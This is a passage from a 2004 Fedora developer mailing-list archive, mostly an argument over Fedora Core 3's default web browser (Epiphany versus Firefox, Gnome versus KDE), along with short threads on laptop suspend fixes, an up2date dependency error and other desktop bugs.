Ricardo Veguilla wrote: > > The fact that it is Gnome's > > default browser is irrelevant. The distribution is Fedora, not Gnome. > Well, then Fedora may be breaking Gnome by using a different browser. I > know that the Fedora community has the right to do so, but the Gnome > user within the community have also the right to say "if you are going > to include Gnome, don't break it". But by selecting a Gnome application as systems default you break Kde. So in your mind it is OK to break Kde, but not Gnome? Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From laroche at redhat.com Tue Oct 12 12:48:35 2004 From: laroche at redhat.com (Florian La Roche) Date: Tue, 12 Oct 2004 14:48:35 +0200 Subject: Default browser of FC3? In-Reply-To: <1097585073.7546.45.camel@iving.oso.chalmers.se> References: <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> <1097585073.7546.45.camel@iving.oso.chalmers.se> Message-ID: <20041012124835.GA14258@dudweiler.stuttgart.redhat.com> > But by selecting a Gnome application as systems default you break Kde. > So in your mind it is OK to break Kde, but not Gnome? Please stop putting up flamewars that don't help anyone. No reason why a gnome app should break kde. I suggest to move such discussions to fedora-list@ or elsewhere, but really keep this away from fedora-devel-list at . greetings, Florian La Roche From veguilla at hpcf.upr.edu Tue Oct 12 12:55:15 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 08:55:15 -0400 Subject: Default browser of FC3? In-Reply-To: <1097584518.7568.36.camel@iving.oso.chalmers.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> Message-ID: <1097585716.4143.26.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 14:35 +0200, Lars E. Pettersson wrote: > On Sun, 2004-10-10 at 14:40, Ricardo Veguilla wrote: > > On Sun, 2004-10-10 at 13:19 +0200, Lars E. Pettersson wrote: > > > On 10/10/2004 03:35 AM, Ricardo Veguilla wrote: > ... > > I read the thread. Are you reading my questions? I didn't ask anyone > > "Why should Firefox be the default?", I use firefox regularly, I know > > how good it is, and I know why it will be convenient to used it as > > default browser. > > Why not use it as default for Fedora then? Because I think Epiphany is a better choice for a default browser. > > But what I asked was "Whats wrong with epiphany?" and when you extended > > the dicussion to "Why not *insert my favorite browser here*?" you > > changed the discussion. > > No, no change in the discussion, I just wanted you to open your eyes for > the alternatives a bit. When deciding a default for a distribution, you > have to go through *all* alternatives, not just one, or a very selected > few. > > > > First, I think the "tightly integrated to Gnome" is irrelevant as Fedora > > > is not a Gnome only distribution. > > > > Well if Fedora includes Gnome and Gnome is designed to be tightly > > integrating, then it is relevant to Fedora. The same thing happens with > > KDE. If KDE is designed to be flexible and customizable, then Fedora > > shouldn't break that user experienced. > > But it is breaking the user experience for Kde users by having a tightly > integrated (in Gnome) Gnome application as a systems default. I do not > think that the Kde users appreciate this. > > Perhaps a systems default is a bad choice, perhaps we should have one > default for Gnome, one for Kde, one for xfce, and so on. > That was also my conclusion. Quite frankly if the KDE developers/user don't care what Fedora puts as a default browser (I'm not saying thats the case, I'm just speculating) then fine by me. But it seems that the Gnome people decided that epiphany is the browser that should be offered as default in the Gnome desktop, and if Fedora is including Gnome in their distribution, I think that they should respect that decision (obviously for the Gnome desktop). > > I disagree again, popularity is important for deciding what to include, > > but its meaningless for the "default application" issue. Defaults are > > for newbies. An experienced user will use his preferred application, no > > matter what the default is. > > > > An new user shouldn't need help using the browser... thats the whole > > point of using epiphany (or any simple browser). > > The majority of new users come from the Windows world. These are used to > certain level of functionality in browsers (and other applications as > well), why give these an application that have less function than the > browsers they are used to? > > The number of total computer newbies that never have sat behind/in-front > of a computer, and start using Linux, is very low. The vast majority > have experience from Microsoft Windows. That is the reality, at least > from where I come. > > So the default should reflect what most people use, and want to use. > I already explained why I disagree with this argument. > On what grounds was Epiphany selected as Gnome default, and on what > grounds has it been selected as Fedora systems default? > In the case on Gnome, I guess looking on the epiphany project page or in the gnome mailing list archive might produce an answer. In the case of Fedora, I don't know. According to a comment Alan Cox made earlier in this thread, the Gnome folks asked for Epiphany as default browser (I'm assuming that he means the Red Hat gnome developers). Regards, -- Ricardo Veguilla From lars at homer.se Tue Oct 12 12:55:15 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 14:55:15 +0200 Subject: Default browser of FC3? In-Reply-To: <20041012124835.GA14258@dudweiler.stuttgart.redhat.com> References: <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> <1097585073.7546.45.camel@iving.oso.chalmers.se> <20041012124835.GA14258@dudweiler.stuttgart.redhat.com> Message-ID: <1097585715.7568.50.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 14:48, Florian La Roche wrote: > > But by selecting a Gnome application as systems default you break Kde. > > So in your mind it is OK to break Kde, but not Gnome? > > Please stop putting up flamewars that don't help anyone. No reason why > a gnome app should break kde. I suggest to move such discussions to > fedora-list@ or elsewhere, but really keep this away from fedora-devel-list at . No flamewar Florian, please read what it is I am answering. It is dangerous to take pieces of text from a discussion without looking at the context in which they where written. Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From pmatilai at welho.com Tue Oct 12 12:57:21 2004 From: pmatilai at welho.com (Panu Matilainen) Date: Tue, 12 Oct 2004 15:57:21 +0300 (EEST) Subject: Default browser of FC3? In-Reply-To: <20041012124835.GA14258@dudweiler.stuttgart.redhat.com> References: <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> <1097585073.7546.45.camel@iving.oso.chalmers.se> <20041012124835.GA14258@dudweiler.stuttgart.redhat.com> Message-ID: On Tue, 12 Oct 2004, Florian La Roche wrote: > > But by selecting a Gnome application as systems default you break Kde. > > So in your mind it is OK to break Kde, but not Gnome? > > Please stop putting up flamewars that don't help anyone. No reason why > a gnome app should break kde. I suggest to move such discussions to > fedora-list@ or elsewhere, but really keep this away from fedora-devel-list at . Well, sorry about starting a flamewar, that wasn't the intention (though I do realize this is easily flammable material). I was just questioning the wisdom of making Epiphany as the default browser for Gnome (dunno what's the default for KDE and don't care as that's not the default desktop). Epiphany might be a nice little browser but it's still rather obscure and little used application compared to Mozilla and Firebird. In this IE-centric world there's enough pain involved already to get things like company intranet web applications supported with just Mozilla. "When are you going to start supporting Epiphany"... not in this lifetime. - Panu - From veguilla at hpcf.upr.edu Tue Oct 12 13:03:15 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 09:03:15 -0400 Subject: Default browser of FC3? In-Reply-To: <1097585073.7546.45.camel@iving.oso.chalmers.se> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> <1097585073.7546.45.camel@iving.oso.chalmers.se> Message-ID: <1097586195.4143.36.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 14:44 +0200, Lars E. Pettersson wrote: > On Tue, 2004-10-12 at 14:41, Ricardo Veguilla wrote: > > > The fact that it is Gnome's > > > default browser is irrelevant. The distribution is Fedora, not Gnome. > > Well, then Fedora may be breaking Gnome by using a different browser. I > > know that the Fedora community has the right to do so, but the Gnome > > user within the community have also the right to say "if you are going > > to include Gnome, don't break it". > > But by selecting a Gnome application as systems default you break Kde. > So in your mind it is OK to break Kde, but not Gnome? Sorry about the confusion. I was talking about the choice of default browser when the user is running the Gnome desktop. -- Ricardo Veguilla From akabi at speakeasy.net Tue Oct 12 13:05:33 2004 From: akabi at speakeasy.net (ne...) Date: Tue, 12 Oct 2004 09:05:33 -0400 (EDT) Subject: Default browser of FC3? In-Reply-To: <1097584900.4143.12.camel@ricardo.veguilla.net> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@kyrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <1097584900.4143.12.camel@ricardo.veguilla.net> Message-ID: On Oct 12, 2004 at 08:41, Ricardo Veguilla in a soothing rage wrote: >On Tue, 2004-10-12 at 08:21 -0400, ne... wrote: > >> >People are obsesed with making the most popular browser the default as >> >if it really were a statement of what browser fedora user like. It is >> >not, and it shouldn't, in my opinion. >> >> One person's obsession is another person's discussion. I have yet to >> see anyone state what additional functionality Epiphany provides over >> Mozilla, Galeon, Firefox, Konqueror or even links. > >I disagree, because the functionality of the browser is determined by >what the app was designed to accomplish (or what the developers decided >it should accomplish). Epiphany wasn't designed to read email (like the >original Mozilla) or to a file-manager (like Konqueror). So if all the functionality that Epiphany provides is already provided by all the other browsers in the distribution, it is okay to add it as bloat is good? (There is a smiley in there somewhere.) >> If it does not >> provide any additional functionality over Mozilla and Mozilla is >> included in Fedora, it should be dropped. > >Well, looking at it in those terms, lets drop Mozilla,Firefox,Epiphany >and Nautilus and just use Konqueror (and obviously Gnome will have to go >too). I will not join the KDE vs Gnome wars. Frankly Nautilus for Gnome users, Konqueror for KDE users and one of Mozilla/Firefox is good enough. Both Nautilus & Konqueror provide other functionality that is not covered browsers. I am talking file managers here. Evolution & Kontact for e-mail etc. >> The fact that it is Gnome's >> default browser is irrelevant. The distribution is Fedora, not Gnome. >Well, then Fedora may be breaking Gnome by using a different browser. I >know that the Fedora community has the right to do so, but the Gnome >user within the community have also the right to say "if you are going >to include Gnome, don't break it". Fedora has already broken KDE by doing this. Some KDE users have been quite vocal about this. N.Emile... -- Registered Linux User # 125653 (http://counter.li.org) Switch to: http://www.speakeasy.net/refer/190653 Charity begins at home. -- Publius Terentius Afer (Terence) 08:57:01 up 106 days, 2:11, 4 users, load average: 0.00, 0.00, 0.00 From mattdm at mattdm.org Tue Oct 12 13:09:38 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 12 Oct 2004 09:09:38 -0400 Subject: Default browser of FC3? In-Reply-To: References: <2ad7cea1041011234694a893b@mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <416BC930.8060101@hpcf.upr.edu> Message-ID: <20041012130938.GA15666@jadzia.bu.edu> On Tue, Oct 12, 2004 at 03:41:03PM +0300, Panu Matilainen wrote: > That assumes that using Firefox is somehow more difficult than Epiphany > (in this context). Which it is not, you don't need to fiddle around with > dozens of options to get it working, it "just works". So does Epiphany, > but it lacks many real-world useful features which both Mozilla and > Firefox have. *Especially* since Firefox is cross-platform, and is starting to gain noticeable overall marketshare. It's very likely that new users will have heard of Firefox before even if they haven't used it. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From lars at homer.se Tue Oct 12 13:10:35 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 15:10:35 +0200 Subject: Default browser of FC3? In-Reply-To: <1097585716.4143.26.camel@ricardo.veguilla.net> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> <1097585716.4143.26.camel@ricardo.veguilla.net> Message-ID: <1097586635.7568.66.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 14:55, Ricardo Veguilla wrote: > On Tue, 2004-10-12 at 14:35 +0200, Lars E. Pettersson wrote: ... > > Perhaps a systems default is a bad choice, perhaps we should have one > > default for Gnome, one for Kde, one for xfce, and so on. > > > > That was also my conclusion. > > Quite frankly if the KDE developers/user don't care what Fedora puts as > a default browser (I'm not saying thats the case, I'm just speculating) > then fine by me. They care, and do not like it. Look at discussions regarding RedHat/Fedora and Kde during the years... I do not want Fedora to be known as a "Gnome distribution", I would like it to be regarded as a "Linux/GNU distribution". I.e. I think we may put off some users by mixing different desktop defaults, and making one desktops default the system default. Ok, I am not sure that we will come to any conclusion on this. We seem to agree that different defaults for different desktops is better than a systems default. Lets hope that this is what will happen in future Fedora releases. Regarding having Epiphany as default, be it Gnome, or as default, I think we have to agree to disagree... :-) Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From lars at homer.se Tue Oct 12 13:15:24 2004 From: lars at homer.se (Lars E. Pettersson) Date: 12 Oct 2004 15:15:24 +0200 Subject: Default browser of FC3? In-Reply-To: <1097586635.7568.66.camel@iving.oso.chalmers.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> <1097585716.4143.26.camel@ricardo.veguilla.net> <1097586635.7568.66.camel@iving.oso.chalmers.se> Message-ID: <1097586924.7546.73.camel@iving.oso.chalmers.se> On Tue, 2004-10-12 at 15:10, Lars E. Pettersson wrote: > Regarding having Epiphany as default, be it Gnome, or as default, I > think we have to agree to disagree... :-) Whooops, should read: Regarding having Epiphany as default, be it in Gnome, or as a systems default, I think we have to agree to disagree... :-) Lars -- Lars E. Pettersson http://www.sm6rpz.se/ From veguilla at hpcf.upr.edu Tue Oct 12 13:18:12 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Tue, 12 Oct 2004 09:18:12 -0400 Subject: Default browser of FC3? In-Reply-To: <1097584731.7568.41.camel@iving.oso.chalmers.se> References: <1097328519.13577.84.camel@chip.laiskiainen.org> <1097513191.2679.49.camel@k yrre> <80d7e40904101119031decf750@mail.gmail.com> <2ad7cea1041011234694a893b @mail.gmail.com> <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.1 5435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe .o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.c amel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <416BC930.8060101@hpcf.upr.edu> <1097584731.7568.41.camel@iving.oso.chalmers.se> Message-ID: <1097587092.4143.48.camel@ricardo.veguilla.net> On Tue, 2004-10-12 at 14:38 +0200, Lars E. Pettersson wrote: > > Will you set openoffice/kword/abiword as the default application for > > "text" files? or gimp as the default app for opening images? > > Bad examples. Openoffice/kword/abiword are not suited for text (i assume > you mean plain text) files. Gimp is not suited as a default for opening > images (as most people open an image to view it, not change it.) Appropriate examples, since in both cases, those are the best-of-breed applications that provide that functionality (opening text files and viewing images). Anyway, I don't want to continue with what many currently consider to be a "flame war", instead I will submit a proposal with some ideas of who to minimize the problem, hopefully keeping everybody happy and improving the Fedora desktop at the same time (yeah... world peace will also be included :) Regards, -- Ricardo Veguilla From mattdm at mattdm.org Tue Oct 12 14:12:59 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 12 Oct 2004 10:12:59 -0400 Subject: Default browser of FC3? In-Reply-To: <1097587092.4143.48.camel@ricardo.veguilla.net> References: <1097567711.25199.11.camel@ulysse.olympe.o2t> <1097570169.15435.29.camel@ricardo.veguilla.net> <1097576591.25199.32.camel@ulysse.olympe.o2t> <1097578136.2912.13.camel@ricardo.veguilla.net> <1097580377.25824.12.camel@ulysse.olympe.o2t> <416BC4C6.8040302@hpcf.upr.edu> <416BC930.8060101@hpcf.upr.edu> <1097584731.7568.41.camel@iving.oso.chalmers.se> <1097587092.4143.48.camel@ricardo.veguilla.net> Message-ID: <20041012141259.GA18258@jadzia.bu.edu> On Tue, Oct 12, 2004 at 09:18:12AM -0400, Ricardo Veguilla wrote: > > Bad examples. Openoffice/kword/abiword are not suited for text (i assume > > you mean plain text) files. Gimp is not suited as a default for opening > > images (as most people open an image to view it, not change it.) > Appropriate examples, since in both cases, those are the best-of-breed > applications that provide that functionality (opening text files and > viewing images). Oh come on. This is a silly line of argument and you know it. > Anyway, I don't want to continue with what many currently consider to be > a "flame war", instead I will submit a proposal with some ideas of who > to minimize the problem, hopefully keeping everybody happy and improving > the Fedora desktop at the same time (yeah... world peace will also be > included :) Good. :) -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From balay at fastmail.fm Tue Oct 12 14:42:00 2004 From: balay at fastmail.fm (Satish Balay) Date: Tue, 12 Oct 2004 09:42:00 -0500 (CDT) Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <20041012113852.GE18766@devserv.devel.redhat.com> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <20041012113852.GE18766@devserv.devel.redhat.com> Message-ID: On Tue, 12 Oct 2004, Alan Cox wrote: > On Mon, Oct 11, 2004 at 11:53:49PM -0500, Satish Balay wrote: > > I guess I would have to install the kernel from kernel.org to see if > > the APM problem is an upstream issue.. > > At least on my thinkpad 600 APM is working with the errata 2.6.x kernels > although it used to crash with older ones By 'errata 2.6.x kernels' - if you mean 'FC2 update kernels' - then yes, they worked for me as well with FC2 on T40/600E (If I remember correctly). I currently use FC1 on the T40, and was hoping to move to FC3 (hence testing rawhide) thanks, Satish From jerone at gmail.com Tue Oct 12 18:56:50 2004 From: jerone at gmail.com (Jerone Young) Date: Tue, 12 Oct 2004 13:56:50 -0500 Subject: FC3 Nautilus not allowing right click "Write to CD" on X86_64 on iso files Message-ID: <9f50a7a00410121156689781a5@mail.gmail.com> Hey I've noticed this on X86_64 FC3, but when you right click on a file ....such as boot.iso (the fedora network boot iso), you see in the "Write to CD" for about half a second then it disappears. I seem to only see this only X86_64. Anybody know why. I love this feature! From denisleroy at yahoo.com Tue Oct 12 18:57:32 2004 From: denisleroy at yahoo.com (Denis Leroy) Date: Tue, 12 Oct 2004 11:57:32 -0700 (PDT) Subject: Default browser of FC3? In-Reply-To: <1097584518.7568.36.camel@iving.oso.chalmers.se> Message-ID: <20041012185732.54386.qmail@web60706.mail.yahoo.com> --- "Lars E. Pettersson" wrote: > Perhaps a systems default is a bad choice, perhaps we should have one > default for Gnome, one for Kde, one for xfce, and so on. My opinion also. Konqueror is a fine browser and it should be the default browser for KDE because of its tight integration and its role as a file browser. I'd like to see firefox as a default browser on Gnome because of its 'killer app' feel to it, though i'd like to have galeon installed as well because it has the best gnome integration (better than epiphany). In particular, I find having galeon html-rendering integrated with nautilus to be extremely useful when you have a lot of HTML documents on your disk. That's a feature a use all the time. From chrisw at osdl.org Tue Oct 12 20:13:27 2004 From: chrisw at osdl.org (Chris Wright) Date: Tue, 12 Oct 2004 13:13:27 -0700 Subject: up2date dependency error with biarch packages (x86_64/i386) Message-ID: <20041012131327.D2357@build.pdx.osdl.net> I got the following result during recent up2date attempt on x86_64, which kills the update. I manually grabbed and installed the i386 packages for dbus, dbus-glibc, hal, and libcap. Subsequent up2date completes properly. Should up2date be able to resolve this type of dependency? Would be useful to include the %{ARCH} in missing dependency, since the message below does not clearly convey the actual problem. Is there a way to coax this information out (--verbose gets that info when fetching headers, but not when displaying the dependency error)? # up2date --nox --update --verbose http://fedora.redhat.com/download/up2date-mirrors/fedora-core-rawhide using mirror: http://sunsite.mff.cuni.cz/pub/fedora/development/x86_64/ Fetching Obsoletes list for channel: fedora-core-rawhide... Testing package set / solving RPM inter-dependencies... RPM package conflict error. The message was: Test install failed because of package conflicts: The following packages were added to your selection to satisfy dependencies: Name Version Release -------------------------------------------------------------- dbus 0.22 9 dbus 0.22 9 dbus-glib 0.22 9 dbus-glib 0.22 9 hal 0.2.98.cvs200409293 hal 0.2.98.cvs200409293 libcap 1.10 20 libcap 1.10 20 package dbus-0.22-9 is already installed package dbus-glib-0.22-9 is already installed package libcap-1.10-20 is already installed package hal-0.2.98.cvs20040929-3 is already installed From philip at balister.org Tue Oct 12 20:29:38 2004 From: philip at balister.org (Philip Balister) Date: Tue, 12 Oct 2004 16:29:38 -0400 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <1097581738.2860.7.camel@localhost.localdomain> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> Message-ID: <1097612977.3723.3.camel@localhost.localdomain> I built the kernel (from the 521 rpm) adding the radeonfb-4g patch from: http://www.loria.fr/~thome/d600/ and changing the config so radeonfb was bult in (not a module). I added the patch to the specfile and used rpmbuild -bp to configure the source (also edited the i686 config file) I can now go in and out of S3 succesfully. I don't know what the larger consequences of these changes are on other pieces of hardware. I have a Dell D600. Philip On Tue, 2004-10-12 at 07:48, Philip Balister wrote: > for Radeon laptops, it appears you need to patch the radeon-fb driver > and build it into the kernel as a module. This should get suspend > working, well resume working that is. I haven't tried this, but if > someone needs the info, I can look it up. > > Philip > > > On Tue, 2004-10-12 at 01:53, Satish Balay wrote: > > On Tue, 12 Oct 2004, Jeff Pitman wrote: > > > > > On Tuesday 12 October 2004 12:53, Satish Balay wrote: > > > > Personally I'd like to see APM be a blocker issue - as it worked for > > > > all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really > > > > work well before - so I'm not really comited to it) > > > > > > > > I guess I would have to install the kernel from kernel.org to see if > > > > the APM problem is an upstream issue.. > > > > > > Last time I checked, it was a radeon driver issue. > > > > I have problems on both a 600E & T40 sugesting some common breakage. - > > However the behavior is slightly different - so it could be a > > combination of issues. (The 600E has NeoMagic chip whereas the T40 has > > a radeon-9000) > > > > Satish From kyrre at solution-forge.net Tue Oct 12 20:46:32 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Tue, 12 Oct 2004 22:46:32 +0200 Subject: Default browser of FC3? In-Reply-To: <1097584518.7568.36.camel@iving.oso.chalmers.se> References: <20041009213801.34254.qmail@web60709.mail.yahoo.com> <41686B5F.9020301@homer.se> <1097363472.7415.15.camel@ricardo.veguilla.net> <41687F80.5040309@homer.se> <1097372125.8141.72.camel@ricardo.veguilla.net> <41691AA6.8020506@homer.se> <1097412041.16243.47.camel@ricardo.veguilla.net> <1097584518.7568.36.camel@iving.oso.chalmers.se> Message-ID: <1097600867.2689.79.camel@kyrre> tir, 12.10.2004 kl. 14.35 skrev Lars E. Pettersson: > On Sun, 2004-10-10 at 14:40, Ricardo Veguilla wrote: > > On Sun, 2004-10-10 at 13:19 +0200, Lars E. Pettersson wrote: > > > On 10/10/2004 03:35 AM, Ricardo Veguilla wrote: > ... > > I read the thread. Are you reading my questions? I didn't ask anyone > > "Why should Firefox be the default?", I use firefox regularly, I know > > how good it is, and I know why it will be convenient to used it as > > default browser. > > Why not use it as default for Fedora then? > > > But what I asked was "Whats wrong with epiphany?" and when you extended > > the dicussion to "Why not *insert my favorite browser here*?" you > > changed the discussion. > > No, no change in the discussion, I just wanted you to open your eyes for > the alternatives a bit. When deciding a default for a distribution, you > have to go through *all* alternatives, not just one, or a very selected > few. > > > > First, I think the "tightly integrated to Gnome" is irrelevant as Fedora > > > is not a Gnome only distribution. > > > > Well if Fedora includes Gnome and Gnome is designed to be tightly > > integrating, then it is relevant to Fedora. The same thing happens with > > KDE. If KDE is designed to be flexible and customizable, then Fedora > > shouldn't break that user experienced. > > But it is breaking the user experience for Kde users by having a tightly > integrated (in Gnome) Gnome application as a systems default. I do not > think that the Kde users appreciate this. > > Perhaps a systems default is a bad choice, perhaps we should have one > default for Gnome, one for Kde, one for xfce, and so on. > > > I disagree again, popularity is important for deciding what to include, > > but its meaningless for the "default application" issue. Defaults are > > for newbies. An experienced user will use his preferred application, no > > matter what the default is. > > > > An new user shouldn't need help using the browser... thats the whole > > point of using epiphany (or any simple browser). > > The majority of new users come from the Windows world. These are used to > certain level of functionality in browsers (and other applications as > well), why give these an application that have less function than the > browsers they are used to? > > The number of total computer newbies that never have sat behind/in-front > of a computer, and start using Linux, is very low. The vast majority > have experience from Microsoft Windows. That is the reality, at least > from where I come. > > So the default should reflect what most people use, and want to use. > > On what grounds was Epiphany selected as Gnome default, and on what > grounds has it been selected as Fedora systems default? > But that does not mean that we should make fedora a "copy" of Windows - simply because if we do that, we will always play catch-up. Apple has understood this - and has made a system that is quite different from anything else. And people love it, say it is the most user-friendly system ever saw (i dissagree - i have pretty much experience from both Linux and Windows, but in order to get anything done on a mac, i have to have the owner open me a terminal... Lets make fedora different from windows - still easy, but different. Ship a easy to find newbee-guide on the def. desktop etc, some links to usefull sites (fedorafaq, release-notes etc), and PLEASE put something more usefull than release-notes in the goddamn default startpage... > Lars > -- > Lars E. Pettersson > http://www.sm6rpz.se/ From rms at 1407.org Tue Oct 12 21:59:51 2004 From: rms at 1407.org (Rui Miguel Seabra) Date: Tue, 12 Oct 2004 22:59:51 +0100 Subject: APM/ACPI on ThinkPads [ Was: Fedora Core 3 Bug Status - 2004-10-11] In-Reply-To: <1097612977.3723.3.camel@localhost.localdomain> References: <20041011161059.GA25927@nostromo.devel.redhat.com> <416B186A.6080203@redhat.com> <200410121334.03092.symbiont@berlios.de> <1097581738.2860.7.camel@localhost.localdomain> <1097612977.3723.3.camel@localhost.localdomain> Message-ID: <1097618391.6178.2.camel@roque> I'm trying to add that framebuffer patch to -603 I hope resuming works from then on :) Rui On Tue, 2004-10-12 at 16:29 -0400, Philip Balister wrote: > I built the kernel (from the 521 rpm) adding the radeonfb-4g patch from: > http://www.loria.fr/~thome/d600/ and changing the config so radeonfb was > bult in (not a module). I added the patch to the specfile and used > rpmbuild -bp to configure the source (also edited the i686 config file) > > I can now go in and out of S3 succesfully. I don't know what the larger > consequences of these changes are on other pieces of hardware. I have a > Dell D600. > > Philip > > > > On Tue, 2004-10-12 at 07:48, Philip Balister wrote: > > for Radeon laptops, it appears you need to patch the radeon-fb driver > > and build it into the kernel as a module. This should get suspend > > working, well resume working that is. I haven't tried this, but if > > someone needs the info, I can look it up. > > > > Philip > > > > > > On Tue, 2004-10-12 at 01:53, Satish Balay wrote: > > > On Tue, 12 Oct 2004, Jeff Pitman wrote: > > > > > > > On Tuesday 12 October 2004 12:53, Satish Balay wrote: > > > > > Personally I'd like to see APM be a blocker issue - as it worked for > > > > > all previous fedora/redhat (up to 6.2?) versions. (ACPI didn't really > > > > > work well before - so I'm not really comited to it) > > > > > > > > > > I guess I would have to install the kernel from kernel.org to see if > > > > > the APM problem is an upstream issue.. > > > > > > > > Last time I checked, it was a radeon driver issue. > > > > > > I have problems on both a 600E & T40 sugesting some common breakage. - > > > However the behavior is slightly different - so it could be a > > > combination of issues. (The 600E has NeoMagic chip whereas the T40 has > > > a radeon-9000) > > > > > > Satish > -- + No matter how much you do, you never do enough -- unknown + Whatever you do will be insignificant, | but it is very important that you do it -- Gandhi + So let's do it...? Please AVOID sending me WORD, EXCEL or POWERPOINT attachments. See http://www.fsf.org/philosophy/no-word-attachments.html -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jon.nettleton at gmail.com Tue Oct 12 22:09:21 2004 From: jon.nettleton at gmail.com (Jon Nettleton) Date: Tue, 12 Oct 2004 18:09:21 -0400 Subject: No direct rendering with booting init 5 In-Reply-To: <1097422847.3760.2.camel@tiger> References: <1097422847.3760.2.camel@tiger> Message-ID: quick fix for this one is to copy your /etc/X11/xorg.conf into /etc/rhgb. Then edit /etc/rhgb/xorg.conf and comment out the Load "dri" section under modules. -Jon On Sun, 10 Oct 2004 11:40:47 -0400, Louis Garcia wrote: > Ok, Bug 135209 has been added to the database. > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From alan at balclutha.org Tue Oct 12 22:32:44 2004 From: alan at balclutha.org (Alan Milligan) Date: Wed, 13 Oct 2004 08:32:44 +1000 Subject: python2.2 -> python2.3 